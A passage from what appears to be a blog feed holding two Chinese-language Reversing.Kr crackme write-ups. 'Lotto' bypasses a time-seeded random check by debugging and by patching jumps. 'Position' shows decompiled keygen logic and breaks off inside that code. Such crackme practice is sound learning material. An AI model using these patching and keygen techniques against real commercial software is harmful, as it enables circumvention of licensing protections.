    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Lotto" target="_blank" rel="noopener">题目及脚本</a></p><p>ida debug真香！！！</p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目名为Lotto，意思是赌博，64位exe，用ida打开瞅瞅。</p><p>关键伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">  v0 = time64(<span class="number">0</span>i64); <span class="comment">// 获取当前时间戳</span></span><br><span class="line">  srand(v0); <span class="comment">// 生成种子</span></span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    wprintf(<span class="string">L"\n\t\tL O T T O\t\t\n\n"</span>);</span><br><span class="line">    wprintf(<span class="string">L"Input the number: "</span>);</span><br><span class="line">    wscanf_s(<span class="string">L"%d %d %d %d %d %d"</span>, &amp;v13, &amp;v14, &amp;v15, &amp;v16, &amp;v17, &amp;v18); <span class="comment">// 输入6个数字</span></span><br><span class="line">    wsystem(<span class="string">L"cls"</span>);</span><br><span class="line">    Sleep(<span class="number">0x1F4</span>u);</span><br><span class="line">    v1 = <span class="number">0</span>i64;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">      *(&amp;v18 + ++v1) = rand() % <span class="number">100</span>; <span class="comment">// 生成随机数</span></span><br><span class="line">    <span class="keyword">while</span> ( v1 &lt; <span class="number">6</span> ); <span class="comment">// 六个随机数</span></span><br><span class="line">    v2 = <span class="number">1</span>;</span><br><span class="line">    v3 = <span class="number">0</span>;</span><br><span class="line">    v4 = <span class="number">0</span>i64;</span><br><span class="line">    byte_7FF6A18235F0 = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> ( *(<span class="keyword">int</span> *)((<span class="keyword">char</span> *)&amp;v19 + v4) == *(<span class="keyword">int</span> *)((<span class="keyword">char</span> *)&amp;v13 + v4) ) <span class="comment">// 判断输入与随机数是否相等</span></span><br><span class="line">    &#123;</span><br><span class="line">      v4 += <span class="number">4</span>i64;</span><br><span class="line">      ++v3;</span><br><span class="line">      <span class="keyword">if</span> ( v4 &gt;= <span class="number">24</span> ) <span class="comment">// 全部相等则解密，输出password</span></span><br><span class="line">        <span class="keyword">goto</span> LABEL_9;</span><br><span class="line">    &#125;</span><br><span class="line">    v2 = <span class="number">0</span>;</span><br><span class="line">    byte_7FF6A18235F0 = <span class="number">0</span>;</span><br><span class="line">LABEL_9:</span><br><span class="line">    ;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v3 != <span class="number">6</span> );</span><br></pre></td></tr></table></figure><a id="more"></a><p>逻辑比较简单，题目需要我们输入<strong>六个数</strong>，然后与<strong>当前时间</strong>为种子生成随机数进行比较，<strong>全部相等</strong>则输出password。</p><p>这里我提供几个思路。</p><p>一是<strong>不断修改系统时间</strong>为一个固定值，使得生成的随机数可预测。</p><p>二是通过<strong>debug</strong>修改时间戳为一个自己已知生成的随机数的时间（写wp的时候发现好像只需要debug，然后查看time64得到的时间戳，然后自己生成对应的随机数，再放进去就好了233）。</p><p>三是当做<strong>逆向</strong>来做，跳过这个验证的过程，直接逆后面的解密算法。</p><p>四是<strong>patch</strong>一些关键的check和跳转，使得错误的输入能输出password。</p><p>尝试第一种方法的时候发现没成功:(，第三种方法不知道哪出错了跑出来的字符都不可见。</p><p>然后就用<code>ida64 x windbg</code>来调试了，一发即中。</p><blockquote><p>ida pro调试真香:-)</p></blockquote><p><img src="https://s2.ax1x.com/2019/11/28/QPvDt1.png" alt="QPvDt1.png"></p><p>第四种方法我patch了三个地方，如下图</p><p><img src="https://s2.ax1x.com/2019/11/28/QPvNXF.png" alt="QPvNXF.png"></p><p>随便输入几个数字后就能输出password，但password一闪而过。。。</p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Lotto&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ida debug真香！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目名为Lotto，意思是赌博，64位exe，用ida打开瞅瞅。&lt;/p&gt;
&lt;p&gt;关键伪码如下&lt;/p&gt;
&lt;figure class=&quot;highlight c++&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;  v0 = time64(&lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;i64); &lt;span class=&quot;comment&quot;&gt;// 获取当前时间戳&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  srand(v0); &lt;span class=&quot;comment&quot;&gt;// 生成种子&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;do&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    wprintf(&lt;span class=&quot;string&quot;&gt;L&quot;\n\t\tL O T T O\t\t\n\n&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    wprintf(&lt;span class=&quot;string&quot;&gt;L&quot;Input the number: &quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    wscanf_s(&lt;span class=&quot;string&quot;&gt;L&quot;%d %d %d %d %d %d&quot;&lt;/span&gt;, &amp;amp;v13, &amp;amp;v14, &amp;amp;v15, &amp;amp;v16, &amp;amp;v17, &amp;amp;v18); &lt;span class=&quot;comment&quot;&gt;// 输入6个数字&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    wsystem(&lt;span class=&quot;string&quot;&gt;L&quot;cls&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    Sleep(&lt;span class=&quot;number&quot;&gt;0x1F4&lt;/span&gt;u);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v1 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;i64;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;do&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      *(&amp;amp;v18 + ++v1) = rand() % &lt;span class=&quot;number&quot;&gt;100&lt;/span&gt;; &lt;span class=&quot;comment&quot;&gt;// 生成随机数&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt; ( v1 &amp;lt; &lt;span class=&quot;number&quot;&gt;6&lt;/span&gt; ); &lt;span class=&quot;comment&quot;&gt;// 六个随机数&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v2 = &lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v3 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v4 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;i64;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    byte_7FF6A18235F0 = &lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt; ( *(&lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; *)((&lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *)&amp;amp;v19 + v4) == *(&lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; *)((&lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *)&amp;amp;v13 + v4) ) &lt;span class=&quot;comment&quot;&gt;// 判断输入与随机数是否相等&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      v4 += &lt;span class=&quot;number&quot;&gt;4&lt;/span&gt;i64;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      ++v3;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; ( v4 &amp;gt;= &lt;span class=&quot;number&quot;&gt;24&lt;/span&gt; ) &lt;span class=&quot;comment&quot;&gt;// 全部相等则解密，输出password&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &lt;span class=&quot;keyword&quot;&gt;goto&lt;/span&gt; LABEL_9;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v2 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    byte_7FF6A18235F0 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;LABEL_9:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    ;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt; ( v3 != &lt;span class=&quot;number&quot;&gt;6&lt;/span&gt; );&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Ida-debug" scheme="https://l1b0.fun/tags/Ida-debug/"/>
    
      <category term="Patch" scheme="https://l1b0.fun/tags/Patch/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr position Writeup</title>
    <link href="https://l1b0.fun/9a891a97/"/>
    <id>https://l1b0.fun/9a891a97/</id>
    <published>2019-11-25T09:33:58.000Z</published>
    <updated>2019-11-29T08:40:13.549Z</updated>
    
    <content type="html"><![CDATA[<p>题目描述</p><blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Position" target="_blank" rel="noopener">题目文件及脚本</a></p><p>ReversingKr KeygenMe</p><p>Find the Name when the Serial is 76876-77776<br>This problem has several answers.</p><p>Password is ***p</p></blockquote><a id="more"></a><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>这题的逻辑挺简单，<code>name</code>的约束是需为<code>a-z</code>的字符，然后对<code>name</code>的每个字节的前五位（因为a-z的前三位都是011）经过一些运算（加法）后与serial进行比较。</p><p>关键函数的伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">signed</span> <span class="keyword">int</span> __<span class="function">stdcall <span class="title">sub_401740</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// edi</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// esi</span></span><br><span class="line">  __int16 v5; <span class="comment">// bx</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v6; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_first_1bit; <span class="comment">// ST2C_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v8; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_second_3bit; <span class="comment">// bl</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v10; <span class="comment">// eax</span></span><br><span class="line">  __int16 v11; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v12; <span class="comment">// eax</span></span><br><span class="line">  __int16 v13; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v14; <span class="comment">// eax</span></span><br><span class="line">  __int16 v15; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v16; <span class="comment">// eax</span></span><br><span class="line">  __int16 v17; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v18; <span class="comment">// eax</span></span><br><span class="line">  __int16 v19; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v20; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_third_1bit; <span class="comment">// ST2C_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v22; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_fourth_3bit; <span class="comment">// bl</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v24; <span class="comment">// eax</span></span><br><span class="line">  __int16 v25; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v26; <span class="comment">// eax</span></span><br><span class="line">  __int16 v27; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v28; <span class="comment">// eax</span></span><br><span class="line">  __int16 v29; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v30; <span class="comment">// eax</span></span><br><span class="line">  __int16 v31; <span class="comment">// di</span></span><br><span class="line">  <span class="keyword">wchar_t</span> *v32; <span class="comment">// eax</span></span><br><span class="line">  __int16 v33; <span class="comment">// si</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_second_1bit; <span class="comment">// [esp+10h] [ebp-28h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_fourth_1bit; <span class="comment">// [esp+10h] [ebp-28h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_second_2bit; <span class="comment">// [esp+11h] [ebp-27h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_fourth_2bit; <span class="comment">// [esp+11h] [ebp-27h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_second_4bit; <span class="comment">// [esp+13h] [ebp-25h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_fourth_4bit; <span class="comment">// [esp+13h] [ebp-25h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_second_5bit; <span class="comment">// [esp+14h] [ebp-24h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_fourth_5bit; <span class="comment">// [esp+14h] [ebp-24h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_first_2bit; <span class="comment">// [esp+19h] [ebp-1Fh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_third_2bit; <span class="comment">// [esp+19h] [ebp-1Fh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_first_3bit; <span class="comment">// [esp+1Ah] [ebp-1Eh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_third_3bit; <span class="comment">// [esp+1Ah] [ebp-1Eh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_first_4bit; <span class="comment">// [esp+1Bh] [ebp-1Dh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_third_4bit; <span class="comment">// [esp+1Bh] [ebp-1Dh]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_first_5bit; <span class="comment">// [esp+1Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 name_third_5bit; <span class="comment">// [esp+1Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> name; <span class="comment">// [esp+20h] [ebp-18h]</span></span><br><span class="line">  <span class="keyword">int</span> serial; <span class="comment">// [esp+24h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> v52; <span class="comment">// [esp+28h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> v53; <span class="comment">// [esp+34h] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;name);</span><br><span class="line">  v1 = <span class="number">0</span>;</span><br><span class="line">  v53 = <span class="number">0</span>;</span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;serial);</span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;v52);</span><br><span class="line">  LOBYTE(v53) = <span class="number">2</span>;</span><br><span class="line">  CWnd::GetWindowTextW(a1 + <span class="number">304</span>, &amp;name);</span><br><span class="line">  <span class="keyword">if</span> ( *(_DWORD *)(name - <span class="number">12</span>) == <span class="number">4</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ( (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, v3) &gt;= <span class="number">0x61</span>u</span><br><span class="line">         &amp;&amp; (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, v3) &lt;= <span class="number">0x7A</span>u )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( ++v3 &gt;= <span class="number">4</span> )</span><br><span class="line">      &#123;</span><br><span class="line">LABEL_7:</span><br><span class="line">        v4 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> ( v1 != v4 )</span><br><span class="line">          &#123;</span><br><span class="line">            v5 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, v4);</span><br><span class="line">            <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, v1) == v5 )</span><br><span class="line">              <span class="keyword">goto</span> LABEL_2;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">if</span> ( ++v4 &gt;= <span class="number">4</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            <span class="keyword">if</span> ( ++v1 &lt; <span class="number">4</span> )</span><br><span class="line">              <span class="keyword">goto</span> LABEL_7;</span><br><span class="line">            CWnd::GetWindowTextW(a1 + <span class="number">420</span>, &amp;serial);</span><br><span class="line">            <span class="keyword">if</span> ( *(_DWORD *)(serial - <span class="number">12</span>) == <span class="number">11</span></span><br><span class="line">              &amp;&amp; (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">5</span>) == <span class="number">0x2D</span> )</span><br><span class="line">            &#123;</span><br><span class="line">              v6 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, <span class="number">0</span>);</span><br><span class="line">              name_first_1bit = (v6 &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">              name_first_5bit = ((v6 &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">              name_first_2bit = ((v6 &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">              name_first_3bit = ((v6 &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">              name_first_4bit = ((v6 &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">              v8 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, <span class="number">1</span>);</span><br><span class="line">              name_second_1bit = (v8 &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">              name_second_5bit = ((v8 &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">              name_second_2bit = ((v8 &gt;&gt; <span 